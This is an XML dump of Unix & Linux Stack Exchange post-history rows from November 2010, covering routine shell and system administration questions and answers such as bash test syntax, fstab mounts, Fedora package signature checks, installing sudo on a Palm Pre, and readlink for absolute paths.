  <row Id="8224" PostHistoryTypeId="2" PostId="3832" RevisionGUID="46c7a576-7c80-4d98-b8fc-e44c758215b6" CreationDate="2010-11-07T16:16:33.310" UserId="885" Text="If the application doesn't require its input and output to be seekable, pass it `/dev/stdout` or `&lt;(gunzip &lt;data.gz)` — see [camh's answer](http://unix.stackexchange.com/questions/3806/is-there-a-way-to-redirect-a-file-that-is-written/3808#3808) and [alex's answer](http://unix.stackexchange.com/questions/3806/is-there-a-way-to-redirect-a-file-that-is-written/3807#3807).&#xD;&#xA;&#xD;&#xA;If the application does require a seekable file, your best bet is a filesystem that implements compression. There are a few unix filesystem implementations that support compression:&#xD;&#xA;&#xD;&#xA;* Through [FUSE](http://fuse.sourceforge.net/), which is available on most unices, there are a few [compression filesystems](http://sourceforge.net/apps/mediawiki/fuse/index.php?title=CompressedFileSystems). [FuseCompress](http://www.miio.net/fusecompress) and [CompFUSEd](http://www.biggerbytes.be/documents-related-to-compfused) are two options, as well as the various [archive filesystems](http://sourceforge.net/apps/mediawiki/fuse/index.php?title=ArchiveFileSystems).&#xD;&#xA;* [Zfs](http://en.wikipedia.org/wiki/Zfs) supports everything including the kitchen sink and compression. It's the native filesystem under Solaris these days (that where it came from). It's [available through FUSE](http://zfs-fuse.net/) at least on Linux. FreeBSD and NetBSD have at least partial native implementations of zfs.&#xD;&#xA;* On Linux, there are patches floating around to implement compression on ext2 and derivatives. I don't know how reliable they are or how compatible they are with ext3 and ext4.&#xD;&#xA;" />
  <row Id="8225" PostHistoryTypeId="2" PostId="3833" RevisionGUID="154b09ad-08b6-4f60-8887-7ca6bb1c3a20" CreationDate="2010-11-07T16:30:17.417" UserId="2359" Text="Have you looked at [MeeGo][1], which is designed for touchscreen enviornments.&#xD;&#xA;&#xD;&#xA; [1]: http://en.wikipedia.org/wiki/MeeGo" />
  <row Id="8226" PostHistoryTypeId="2" PostId="3834" RevisionGUID="dba14c74-631b-4656-89ea-88965ddfc63e" CreationDate="2010-11-07T16:35:37.210" UserId="885" Text="`[ &quot;$1&quot; = &quot;&quot; ]` and `[ -z &quot;$1&quot; ]` are exactly equivalent in bash and other POSIX-compliant shells. (Note that there must be a space on each side of the brackets, unless there is a non-word-constituent character like `;`.)&#xD;&#xA;&#xD;&#xA;`[` is a shell built-in like any other; in fact it can also be spelled `test` (the only difference between the two is that `[` requires a `]` as the last argument). So if you run `[ &quot;$1&quot; = &quot;&quot; ]` with `$1` expanding to `-z`, the test operator sees three arguments: `-z`, `=` and the empty string. Older shells in the [Bourne](http://en.wikipedia.org/wiki/Bourne_shell) sometimes threw parse errors when an operand looked like an operator in this wy, even if there was no ambiguity in the complete expression, although I don't know if any version did in fact have trouble with this particular expression. There may also have been versions that had trouble with empty words; these would not have supported either `[ &quot;$1&quot; ]`. A common shell idiom is `[ x&quot;$1&quot; = x&quot;&quot; ]`. It avoids any risk of having operands parsed as operators because no operator starts with a letter.&#xD;&#xA;&#xD;&#xA;In ksh, bash and zsh, you can use the double bracket syntax, `[[ -z $1 ]]`. This newer syntax (it's from the late 1980s rather than the mid-1970s) eliminates the risk of having operands parsed as operators by using a special syntactic construct rather than an ordinary built-in. Operators must appear literally, unquoted within the double brackets, and you don't need to double quote variable expansions.&#xD;&#xA;" />
  <row Id="8227" PostHistoryTypeId="5" PostId="3825" RevisionGUID="c550f340-da3a-40d5-b96b-41eb39287304" CreationDate="2010-11-07T16:45:08.580" UserId="1207" Comment="deleted 96 characters in body; deleted 137 characters in body" Text="According to [the Fedora Documenation][1]:&#xD;&#xA;&#xD;&#xA;&gt; All Fedora packages are signed with the Fedora GPG key. GPG stands for GNU Privacy Guard, or GnuPG, a free software package used for ensuring the authenticity of distributed files. For example, a private key (secret key) locks the package while the public key unlocks and verifies the package. If the public key distributed by Fedora does not match the private key during RPM verification, the package may have been altered and therefore cannot be trusted.&#xD;&#xA;&#xD;&#xA;&gt;The RPM utility within Fedora automatically tries to verify the GPG signature of an RPM package before installing it. If the Fedora GPG key is not installed, install it from a secure, static location, such as an Fedora installation CD-ROM or DVD. &#xD;&#xA;&#xD;&#xA;Further, according to the [Yum Documentation][2]:&#xD;&#xA;&#xD;&#xA;&gt; Yum provides secure package management by enabling GPG (Gnu Privacy Guard; also known as GnuPG) signature verification on GPG-signed packages to be turned on for all package repositories (i.e. package sources), or for individual repositories. When signature verification is enabled, Yum will refuse to install any packages not GPG-signed with the correct key for that repository. This means that you can trust that the RPM packages you download and install on your system are from a trusted source, such as The Fedora Project, and were not modified during transfer. &#xD;&#xA;&#xD;&#xA;On a freshly installed Fedora 14 system, the `/etc/yum.conf` includes&#xD;&#xA;&#xD;&#xA;    gpgcheck=1&#xD;&#xA;&#xD;&#xA;Indicating that this feature of yum is enabled by default.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thus it seems that the answers to (1) and (3) are &quot;Yes&quot;.  I believe the answer to (2) is more complicated.  &#xD;&#xA;&#xD;&#xA;Both the DVD and the Live CD have the ability to verify the entire disk.  If you are concerned with the integrity of your install media, you can use this built-in functionality (see [the documentation][3]).  If you are more concerned with security, you may want to verify the ISO before burning, using the method provided here:&#xD;&#xA;&#xD;&#xA;https://fedoraproject.org/en/verify&#xD;&#xA;&#xD;&#xA;(See [this question][4] for tips on how to get the checksum for already burnt CD.)&#xD;&#xA;&#xD;&#xA;**UPDATED**: If you install using the Live CD, I believe that the live image is being copied directly to your disk, thus the packages aren't being installed by the package manager and their signatures aren't being checked.  If you install using a Network Install or the full DVD, the GPG signatures still aren't checked.  See mattdm's answer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.fedoraproject.org/en-US/Fedora/14/html/Security_Guide/sect-Security_Guide-Updating_Packages-Verifying_Signed_Packages.html&#xD;&#xA;  [2]: http://docs.fedoraproject.org/en-US/Fedora/13/html/Deployment_Guide/ch-yum.html&#xD;&#xA;  [3]: http://docs.fedoraproject.org/en-US/Fedora/10/html/Installation_Guide/sn-verifying-media.html&#xD;&#xA;  [4]: http://unix.stackexchange.com/questions/3792/calculate-md5sum-of-a-cd-dvd" />
  <row Id="8228" PostHistoryTypeId="2" PostId="3835" RevisionGUID="6a1bd0bd-a5ae-49f4-bc07-8bb682f46194" CreationDate="2010-11-07T17:06:18.150" UserId="885" Text="If you don't mind mounting the disks manually, add the following line to `/etc/fstab`:&#xD;&#xA;&#xD;&#xA;    /dev/cdrom  /media/cdrom  auto  noauto,user,exec&#xD;&#xA;&#xD;&#xA;Then you can use `mount /media/cdrom` when you insert a disk, and `umount /media/cdrom` before ejecting it.&#xD;&#xA;&#xD;&#xA;You'll need to either figure out how to disable any automatic mounting, or undo that automatic mounting (with `umount`). You can also move a mount point with `mount --move ' /media/Warcraft III' /media/cdrom` (this needs to be run as root).&#xD;&#xA;" />
  <row Id="8229" PostHistoryTypeId="2" PostId="3836" RevisionGUID="a457b901-d1bb-4c8e-bef3-d16e75c1c382" CreationDate="2010-11-07T17:10:23.657" UserId="2579" Text="I've rooted my Palm Pre (WebOS 1.4.5) and installed a SSH server on it. Now I'd like to SSH into it with an unprivileged user and use sudo for elevated commands.&#xD;&#xA;&#xD;&#xA;However: There is no sudo on the system. Can I add it somehow?" />
  <row Id="8230" PostHistoryTypeId="1" PostId="3836" RevisionGUID="a457b901-d1bb-4c8e-bef3-d16e75c1c382" CreationDate="2010-11-07T17:10:23.657" UserId="2579" Text="sudo missing on Palm WebOS - can I add it?" />
  <row Id="8231" PostHistoryTypeId="3" PostId="3836" RevisionGUID="a457b901-d1bb-4c8e-bef3-d16e75c1c382" CreationDate="2010-11-07T17:10:23.657" UserId="2579" Text="ésudoà" />
  <row Id="8232" PostHistoryTypeId="5" PostId="3831" RevisionGUID="426bfefe-a042-4cf6-ad05-067c4d6a6d99" CreationDate="2010-11-07T17:22:13.957" UserId="2567" Comment="typo in the question" Text="Hi &#xD;&#xA;&#xD;&#xA;In a bash script to check if variable $1 is set, &#xD;&#xA;what is the difference between &#xD;&#xA;&#xD;&#xA;    if [ -z &quot;$1&quot; ] &#xD;&#xA;&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;    if [ &quot;$1&quot; = &quot;&quot; ] &#xD;&#xA;&#xD;&#xA;or are they the same? &#xD;&#xA;&#xD;&#xA;I have found my self writing the second one in some scripts, &#xD;&#xA;but then I read that the -z flag is doing the same &#xD;&#xA;([http://www.faqs.org/docs/Linux-HOWTO/Bash-Prog-Intro-HOWTO.html#ss9.2][1])...&#xD;&#xA;&#xD;&#xA;So my question is if there is some problems using the second one, &#xD;&#xA;if we ignore that the first one looks a little better.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Johan&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/docs/Linux-HOWTO/Bash-Prog-Intro-HOWTO.html#ss9.2" />
  <row Id="8233" PostHistoryTypeId="4" PostId="3831" RevisionGUID="426bfefe-a042-4cf6-ad05-067c4d6a6d99" CreationDate="2010-11-07T17:22:13.957" UserId="2567" Comment="typo in the question" Text="In bash is if [ -z &quot;$1&quot; ] and if [ &quot;$1&quot; = &quot;&quot; ] the same?" />
  <row Id="8234" PostHistoryTypeId="5" PostId="3831" RevisionGUID="eb5c9766-8f23-431c-b44a-bdf0a230c9f6" CreationDate="2010-11-07T17:31:58.347" UserId="1327" Comment="deleted 163 characters in body" Text="What is the difference between&#xD;&#xA;&#xD;&#xA;    if [ -z &quot;$1&quot; ] &#xD;&#xA;&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;    if [ &quot;$1&quot; = &quot;&quot; ] &#xD;&#xA;&#xD;&#xA;or are they the same? &#xD;&#xA;&#xD;&#xA;I have found my self writing the second one in some scripts, &#xD;&#xA;but then I read [here][1] that the -z flag is does the same.&#xD;&#xA;&#xD;&#xA;If there are some problems using the second one, should we ignore that the first one looks a little better?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/docs/Linux-HOWTO/Bash-Prog-Intro-HOWTO.html#ss9.2" />
  <row Id="8235" PostHistoryTypeId="2" PostId="3837" RevisionGUID="e0070cf4-ec98-4526-824f-bde345babdf0" CreationDate="2010-11-07T19:28:54.517" UserId="2534" Text="The short answer is that to run the program, no matter what your directory, you need to have the program's directory in your search path.  The problem can be solved by putting the program into a folder thats already in that path, or by adding a new folder to the path - either will work.  The best answer depends on:&#xD;&#xA;&#xD;&#xA;**Is this program a downloaded program that you have compiled yourself from source?**&#xD;&#xA;&#xD;&#xA;*Its quite likely will have an install mechanism already. In the folder that you compiled the program, as root, run 'make install'*&#xD;&#xA;&#xD;&#xA;**Is this program a downloaded program that you want to make available as part of the standard programs on the computer?**&#xD;&#xA;&#xD;&#xA;*Makes sense to put this kind of application into a standard folder.  its quite common to use directories such as /usr/local/bin  for such programs.  You will need root access to do this.*&#xD;&#xA;&#xD;&#xA;**This is a program that you have written for yourself and/or you have no special privilages on the computer.**&#xD;&#xA;&#xD;&#xA;*Creating a folder in your home directory called 'bin', and placing the program in there.  You may need to edit your login script to add the full path to this folder (e.g. /usr/home/jeremy/bin)*&#xD;&#xA;&#xD;&#xA;Whilst you could just add its current directory to the search path, you will have to keep doing this with every new program - and is more work in the longer term.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8236" PostHistoryTypeId="5" PostId="3822" RevisionGUID="d1553478-7021-4704-96a6-666a408dfc9e" CreationDate="2010-11-07T20:02:12.477" UserId="29" Comment="add formatting" Text="Placing a link to the file in the `/bin` directory isn't the best thing to do for multiple reasons.&#xD;&#xA;&#xD;&#xA; - If the actual executable file is in a location that some users can't see or execute, they see it as a bad link or dysfunctional program.&#xD;&#xA; - The `/bin` directory is supposed to be reserved for programs which are required for running the system (things like `chmod`, `mkdir`, etc).&#xD;&#xA;&#xD;&#xA;You can actually place (install) the executable file in `/usr/bin/` or even `/usr/local/bin/`. Of course, you've manually installed the program at that point; your distribution isn't going to keep track of it the way it does the rest of your programs - you'll have to manually upgrade it when necessary and manually remove it if you want it gone. Also, you'll have to know what packages it depends on (it sounds like you already use the program, so that's taken care of, but in general...).&#xD;&#xA;&#xD;&#xA;Unless I'm setting up a program that I expect other users to use, that's not what I usually do: I create a bin directory just for me in my home directory, and I edit my shell profile to add `~/bin/` to my `PATH` environment variable. I find it easier to keep track of the programs I've installed that way, because it is separated from the rest of the system." />
  <row Id="8237" PostHistoryTypeId="6" PostId="688" RevisionGUID="ea1cc85a-068a-42ce-a330-257225d07692" CreationDate="2010-11-07T20:16:01.560" UserId="885" Comment="edited tags" Text="émanàéhpöuxà" />
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  <row Id="8252" PostHistoryTypeId="5" PostId="3830" RevisionGUID="ddfc1c2c-8cc2-474c-af25-6052c1c3db1b" CreationDate="2010-11-07T21:37:47.773" UserId="258" Comment="tweaked markdown" Text="I am looking for a graphics card (AGP) with a TV-Out (SVideo or Composite) that is not a PITA with X. I guess it depends on the driver/X-Server.&#xD;&#xA;&#xD;&#xA;The card needs to be small and should not have a huge cooler mounted beause it is supposed to be plugged into a shuttle case. The on board VIA UniChrome chipsets TV-Out is supposed to play well with Linux with the openChrome-Driver (www.openchrome.org seems to be down), but I could not get it to work.&#xD;&#xA;&#xD;&#xA;So this are the conditions:&#xD;&#xA;&#xD;&#xA;* Linux (current Ubuntu?)&#xD;&#xA;* AGP&#xD;&#xA;* short card&#xD;&#xA;* small cooler (possibly passive or really quiet)&#xD;&#xA;* TV-Out playing well with Linux and X&#xD;&#xA;* card should still be available through second hand sources (eBay?)&#xD;&#xA;&#xD;&#xA;Do you have any recommendations and/or experiences to share?" />
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  <row Id="8273" PostHistoryTypeId="5" PostId="411" RevisionGUID="9340203a-e64b-4a8a-a43f-4b250adfc422" CreationDate="2010-11-07T22:23:19.597" UserId="1207" Comment="added 20 characters in body; edited title" Text="Suppose you are working on a very old unix server where where where `dos2unix`, `perl`, `tr`, and `sed` are not present. How can you convert files from dos to unix format?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8274" PostHistoryTypeId="4" PostId="411" RevisionGUID="9340203a-e64b-4a8a-a43f-4b250adfc422" CreationDate="2010-11-07T22:23:19.597" UserId="1207" Comment="added 20 characters in body; edited title" Text="How to remove Ctrl-M from files where dos2unix, perl, tr, and sed are not present?" />
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  <row Id="8277" PostHistoryTypeId="6" PostId="1326" RevisionGUID="0c43bd50-e05c-46c7-a5e0-b5e16172e589" CreationDate="2010-11-07T23:45:05.947" UserId="885" Comment="edited tags" Text="ésecurityàéprocessàéselinuxàégrsecurityàéhardeningà" />
  <row Id="8278" PostHistoryTypeId="2" PostId="3838" RevisionGUID="97e79c85-8c5d-4bce-affd-7513d42da765" CreationDate="2010-11-08T01:34:21.563" UserId="1571" Text="After I install something via aptitude, zsh won't be able to find it until I search for it with `which`. For example&#xD;&#xA;&#xD;&#xA;    ~ sudo apt-get install xsane&#xD;&#xA;    ~ xsa&lt;Tab&gt;&#xD;&#xA;    ~ saned&#xD;&#xA;    ~ which xsane&#xD;&#xA;    /usr/bin/xsane&#xD;&#xA;    ~xsa&lt;Tab&gt;&#xD;&#xA;    ~xsane&#xD;&#xA;&#xD;&#xA;This naturally is pretty annoying. Is there a zsh setting for this? Or is it a bug? Or what?" />
  <row Id="8279" PostHistoryTypeId="1" PostId="3838" RevisionGUID="97e79c85-8c5d-4bce-affd-7513d42da765" CreationDate="2010-11-08T01:34:21.563" UserId="1571" Text="zsh autcomplete not updating path executables" />
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  <row Id="8281" PostHistoryTypeId="10" PostId="3838" RevisionGUID="2d0eb05e-09ef-432a-a9e7-0f6ad63382b5" CreationDate="2010-11-08T01:43:09.887" UserId="305" CloseReasonId="1" Text="[{&quot;Id&quot;:305,&quot;DisplayName&quot;:&quot;Maciej Piechotka&quot;}]" />
  <row Id="8282" PostHistoryTypeId="5" PostId="3838" RevisionGUID="185dcf00-e485-46d8-b508-7c3de97a1c62" CreationDate="2010-11-08T01:43:10.027" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [rebuild auto-complete index (or whatever it&amp;#39;s called)](http://unix.stackexchange.com/questions/2179/rebuild-auto-complete-index-or-whatever-its-called)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;After I install something via aptitude, zsh won't be able to find it until I search for it with `which`. For example&#xD;&#xA;&#xD;&#xA;    ~ sudo apt-get install xsane&#xD;&#xA;    ~ xsa&lt;Tab&gt;&#xD;&#xA;    ~ saned&#xD;&#xA;    ~ which xsane&#xD;&#xA;    /usr/bin/xsane&#xD;&#xA;    ~xsa&lt;Tab&gt;&#xD;&#xA;    ~xsane&#xD;&#xA;&#xD;&#xA;This naturally is pretty annoying. Is there a zsh setting for this? Or is it a bug? Or what?" />
  <row Id="8283" PostHistoryTypeId="11" PostId="3838" RevisionGUID="4903aa97-3856-4091-91d1-27ade35aa831" CreationDate="2010-11-08T01:59:56.290" UserId="-1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="8285" PostHistoryTypeId="2" PostId="3840" RevisionGUID="7d3f85d1-37f6-4c81-9710-91c49aa73e3d" CreationDate="2010-11-08T03:02:09.927" UserId="1049" Text="I was using a small Linux distro that was running X11 with JWM as its window manager. I was browsing a directory when all of a sudden the mouse froze and the keyboard became unresponsive. The caps lock and scroll lock lights are flashing.&#xD;&#xA;&#xD;&#xA;What does this mean... and is there anything I can do about it?" />
  <row Id="8286" PostHistoryTypeId="1" PostId="3840" RevisionGUID="7d3f85d1-37f6-4c81-9710-91c49aa73e3d" CreationDate="2010-11-08T03:02:09.927" UserId="1049" Text="The caps lock and scroll lock lights are flashing and everything is frozen." />
  <row Id="8287" PostHistoryTypeId="3" PostId="3840" RevisionGUID="7d3f85d1-37f6-4c81-9710-91c49aa73e3d" CreationDate="2010-11-08T03:02:09.927" UserId="1049" Text="élinuxàékeyboardà" />
  <row Id="8288" PostHistoryTypeId="2" PostId="3841" RevisionGUID="88d95ab1-3027-4673-930b-cf2c12d43f31" CreationDate="2010-11-08T04:40:23.057" UserId="2567" Text="The kernel has crashed your pc, the reason could be anything...&#xD;&#xA;&#xD;&#xA;Good question is how you collect the crash data, so you know what crashed it.&#xD;&#xA;&#xD;&#xA;But the only thing to do is to reboot the pc." />
  <row Id="8289" PostHistoryTypeId="2" PostId="3842" RevisionGUID="3aa9b707-5694-4512-a155-5b2cf2f19e07" CreationDate="2010-11-08T05:02:36.890" UserId="446" Text="I use the `watch` command to see the contents of my directory changing as a script runs on it (via `watch ls dir/`)&#xD;&#xA;&#xD;&#xA;It's a great tool, except that I can't seem to scroll down or up to see all of the contents once the number of entries fills the vertical length of the screen.&#xD;&#xA;&#xD;&#xA;Is there a way to do this?" />
  <row Id="8290" PostHistoryTypeId="1" PostId="3842" RevisionGUID="3aa9b707-5694-4512-a155-5b2cf2f19e07" CreationDate="2010-11-08T05:02:36.890" UserId="446" Text="How can I scroll within the output of my watch command?" />
  <row Id="8291" PostHistoryTypeId="3" PostId="3842" RevisionGUID="3aa9b707-5694-4512-a155-5b2cf2f19e07" CreationDate="2010-11-08T05:02:36.890" UserId="446" Text="éwatchà" />
  <row Id="8293" PostHistoryTypeId="6" PostId="3744" RevisionGUID="5fcc9f95-f577-4370-b1de-033aa6926c70" CreationDate="2010-11-08T05:39:05.260" UserId="73" Comment="edited tags" Text="éfindàésymlinkà" />
  <row Id="8294" PostHistoryTypeId="2" PostId="3844" RevisionGUID="98e0f228-2164-42f3-95d2-61c5ee64713d" CreationDate="2010-11-08T05:39:06.153" UserId="382" Text="`watch` is great, but this is one of the things it can't do. You can use `tail` to show the latest entries:&#xD;&#xA;&#xD;&#xA;    watch &quot;ls -rtx dir/ | tail -n $(($LINES - 2))&quot;" />
  <row Id="8298" PostHistoryTypeId="2" PostId="3846" RevisionGUID="c7ac526f-bb56-4c51-88cc-463b4a0e5860" CreationDate="2010-11-08T07:35:00.083" UserId="29" Text="I could do this&#xD;&#xA;&#xD;&#xA;    root@server [/home/user/public_html]# ls /home/user/public_html/.htaccess &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;but I'd like to do this&#xD;&#xA;&#xD;&#xA;    ls --switch .htaccess&#xD;&#xA;    /home/user/public_html/.htaccess&#xD;&#xA;&#xD;&#xA;is it possible?" />
  <row Id="8299" PostHistoryTypeId="1" PostId="3846" RevisionGUID="c7ac526f-bb56-4c51-88cc-463b4a0e5860" CreationDate="2010-11-08T07:35:00.083" UserId="29" Text="list full path of file without tying it from relative relative path" />
  <row Id="8300" PostHistoryTypeId="3" PostId="3846" RevisionGUID="c7ac526f-bb56-4c51-88cc-463b4a0e5860" CreationDate="2010-11-08T07:35:00.083" UserId="29" Text="élsà" />
  <row Id="8301" PostHistoryTypeId="2" PostId="3847" RevisionGUID="ecb3e681-389e-4f76-a9a0-51695a06a78e" CreationDate="2010-11-08T08:06:28.387" UserId="1327" Text="You will have to use `find` and `pwd`.&#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;    find `pwd` -name .htaccess -maxdepth 1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;See Also:  &#xD;&#xA;&#xD;&#xA;  - [How can I list files with their absolute path in linux?][1]  &#xD;&#xA;  - [ls -R --fullpath | grep filename][2]  &#xD;&#xA;&#xD;&#xA;[1]:http://stackoverflow.com/questions/246215&#xD;&#xA;[2]:http://my.brandeis.edu/bboard/q-and-a-fetch-msg?msg_id=0002vQ" />
  <row Id="8302" PostHistoryTypeId="5" PostId="3847" RevisionGUID="3addc917-13fd-4010-aa76-0898e91a0b74" CreationDate="2010-11-08T08:12:55.667" UserId="1327" Comment="added 179 characters in body" Text="You will have to use `find` and `pwd`.&#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;    find `pwd` -name .htaccess -maxdepth 1&#xD;&#xA;&#xD;&#xA;**OR**&#xD;&#xA;&#xD;&#xA;From this [answer][3]:&#xD;&#xA;&#xD;&#xA;    ls -d `pwd`/*&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;See Also:  &#xD;&#xA;&#xD;&#xA;  - [How can I list files with their absolute path in linux?][1]  &#xD;&#xA;  - [ls -R --fullpath | grep filename][2]  &#xD;&#xA;&#xD;&#xA;[1]:http://stackoverflow.com/questions/246215&#xD;&#xA;[2]:http://my.brandeis.edu/bboard/q-and-a-fetch-msg?msg_id=0002vQ&#xD;&#xA;[3]:http://stackoverflow.com/questions/246215/how-can-i-list-files-with-their-absolute-path-in-linux/1427114#1427114" />
  <row Id="8303" PostHistoryTypeId="5" PostId="3847" RevisionGUID="a86ca976-f8e0-4b95-bafb-0d50f2a8c7c8" CreationDate="2010-11-08T08:18:25.117" UserId="1327" Comment="added 8 characters in body" Text="You will have to use `find` and `pwd`.&#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;    find `pwd` -name .htaccess -maxdepth 1&#xD;&#xA;&#xD;&#xA;**OR**&#xD;&#xA;&#xD;&#xA;From this [answer][3]:&#xD;&#xA;&#xD;&#xA;    ls -d `pwd`/.htaccess&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;See Also:  &#xD;&#xA;&#xD;&#xA;  - [How can I list files with their absolute path in linux?][1]  &#xD;&#xA;  - [ls -R --fullpath | grep filename][2]  &#xD;&#xA;&#xD;&#xA;[1]:http://stackoverflow.com/questions/246215&#xD;&#xA;[2]:http://my.brandeis.edu/bboard/q-and-a-fetch-msg?msg_id=0002vQ&#xD;&#xA;[3]:http://stackoverflow.com/questions/246215/how-can-i-list-files-with-their-absolute-path-in-linux/1427114#1427114" />
  <row Id="8304" PostHistoryTypeId="2" PostId="3848" RevisionGUID="2bef34ed-291f-4b42-b932-4e04f46f5c95" CreationDate="2010-11-08T08:43:36.187" UserId="2585" Text="Hello,&#xD;&#xA;&#xD;&#xA;I have un-tarred the nzbget0.70 debug version and have put it in the `/ffp/bin` dir. and I have a config file in the `/ffp/etc/` dir&#xD;&#xA;&#xD;&#xA;but when I try to run it, I get the following:&#xD;&#xA;&#xD;&#xA;    root@NAS:/mnt/HD_a2/ffp/bin# nzbget&#xD;&#xA;    -sh: nzbget: not found&#xD;&#xA;    root@NAS:/mnt/HD_a2/ffp/bin# sh nzbget&#xD;&#xA;    nzbget: line 1: syntax error: word unexpected (expecting &quot;)&quot;)&#xD;&#xA;&#xD;&#xA;I used this how-to: http://www.aroundmyroom.com/2009/01/27/the-how-to-that-replaces-all/&#xD;&#xA;&#xD;&#xA;I used this tar: **nzbget-0.7.0-bin-dns323-arm-debug.tar.gz**&#xD;&#xA;from http://sourceforge.net/projects/nzbget/files/&#xD;&#xA;&#xD;&#xA;what did I do wrong?&#xD;&#xA;&#xD;&#xA;ps. I logged in as root&#xD;&#xA;" />
  <row Id="8305" PostHistoryTypeId="1" PostId="3848" RevisionGUID="2bef34ed-291f-4b42-b932-4e04f46f5c95" CreationDate="2010-11-08T08:43:36.187" UserId="2585" Text="CH3MNAS Fun Plug and NZBget. Cannot launch NzbGet 0.7, word unexpected " />
  <row Id="8306" PostHistoryTypeId="3" PostId="3848" RevisionGUID="2bef34ed-291f-4b42-b932-4e04f46f5c95" CreationDate="2010-11-08T08:43:36.187" UserId="2585" Text="écommandölineàéshellàésshà" />
  <row Id="8307" PostHistoryTypeId="2" PostId="3849" RevisionGUID="8c544d2f-7c91-4eaa-90ed-cb64b95e6327" CreationDate="2010-11-08T09:10:49.597" UserId="2579" Text="I found the way to do it (was rather easy after all):&#xD;&#xA;&#xD;&#xA;- prerequisite: [Preware][1] is installed (done this already)&#xD;&#xA;- install `ipkg-opt` (called the &quot;Optware Advanced Linux Command Line Installer&quot; in Preware)&#xD;&#xA;- connect to your device command line as `root` (via novaterm/USB cable or SSH, if already installed)&#xD;&#xA;- call `ipkg-opt update`&#xD;&#xA;- call `ipkg-opt list | grep sudo` to make sure the package is available&#xD;&#xA;- call `ipkg-opt install sudo`&#xD;&#xA;&#xD;&#xA;At which point my device did:&#xD;&#xA;&#xD;&#xA;    palm-webos-device ipkg # ipkg-opt install sudo&#xD;&#xA;    Installing sudo (1.7.4.4-1) to root...&#xD;&#xA;    Downloading http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable/sudo_1.7.4.4-1_arm.ipk&#xD;&#xA;    Configuring sudo&#xD;&#xA;    Successfully terminated.&#xD;&#xA;&#xD;&#xA;I assume an unpriviledged user has already been added to the system. Now modify `/opt/etc/sudoers`:&#xD;&#xA;&#xD;&#xA;- `chmod 640 /opt/etc/sudoers` (make writable for root)&#xD;&#xA;- add permission for that user to the file (`username ALL=(ALL) ALL`)&#xD;&#xA;- `chmod 440 /opt/etc/sudoers` (make readlony again)&#xD;&#xA;&#xD;&#xA;Now SSHing into the device as the unprivileged user and using `sudo` from there should work.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webos-internals.org/wiki/Preware" />
  <row Id="8308" PostHistoryTypeId="2" PostId="3850" RevisionGUID="b90577b3-b6a4-447a-a5c1-f3fbac3402d6" CreationDate="2010-11-08T09:17:21.347" UserId="688" Text="I'd like to run specific commands on specific tabs of `gnome-terminal`. Is there a way?" />
  <row Id="8309" PostHistoryTypeId="1" PostId="3850" RevisionGUID="b90577b3-b6a4-447a-a5c1-f3fbac3402d6" CreationDate="2010-11-08T09:17:21.347" UserId="688" Text="How to run commands automatically on gnome-terminal after log-in?" />
  <row Id="8310" PostHistoryTypeId="3" PostId="3850" RevisionGUID="b90577b3-b6a4-447a-a5c1-f3fbac3402d6" CreationDate="2010-11-08T09:17:21.347" UserId="688" Text="égnomeàéloginà" />
  <row Id="8311" PostHistoryTypeId="2" PostId="3851" RevisionGUID="e4c09345-3b50-46d6-a681-986214088d34" CreationDate="2010-11-08T09:25:20.207" UserId="1338" Text="Using `find` in combination with `pwd` is a fine answer but it creates two subshells and isn't necessary.  There is a command which will do what you want:&#xD;&#xA;&#xD;&#xA;`readlink -f .htaccess`&#xD;&#xA;&#xD;&#xA;###Output###&#xD;&#xA;&#xD;&#xA;    $ cd /tmp &amp;&amp; touch foo&#xD;&#xA;    $ ls ./foo&#xD;&#xA;    ./foo&#xD;&#xA;    $ readlink -f ./foo&#xD;&#xA;    /tmp/foo&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8312" PostHistoryTypeId="2" PostId="3852" RevisionGUID="8bf48905-70e6-496e-89e6-3806ff65cecd" CreationDate="2010-11-08T09:36:08.893" UserId="2555" Text="Since it wasn't a production box I just removed and then re-installed Gnome desktop environment. After that RealVNC works without problems with Gnome. @Gilles - I came back here after the reinstall was already done so problem was solved. But thanks for the advice." />
  <row Id="8313" PostHistoryTypeId="5" PostId="3760" RevisionGUID="3ca12c93-927c-45d1-bed7-402c86e4a7af" CreationDate="2010-11-08T10:12:55.907" UserId="1327" Comment="added 2 characters in body; edited body" Text="This gives you a solid yellow block (nonblinking) as a cursor:&#xD;&#xA;&#xD;&#xA;    echo -n -e '\e[?17;14;224c'&#xD;&#xA;&#xD;&#xA;For more info check these references: [Linuxgazette][1] and [EmacsWiki][2] as well as the file `/usr/src/linux/Documentation/VGA-softcursor.txt` (if present on your system)&#xD;&#xA;&#xD;&#xA;  [1]: http://linuxgazette.net/137/anonymous.html&#xD;&#xA;  [2]: http://www.emacswiki.org/emacs/CursorOnLinuxConsole" />
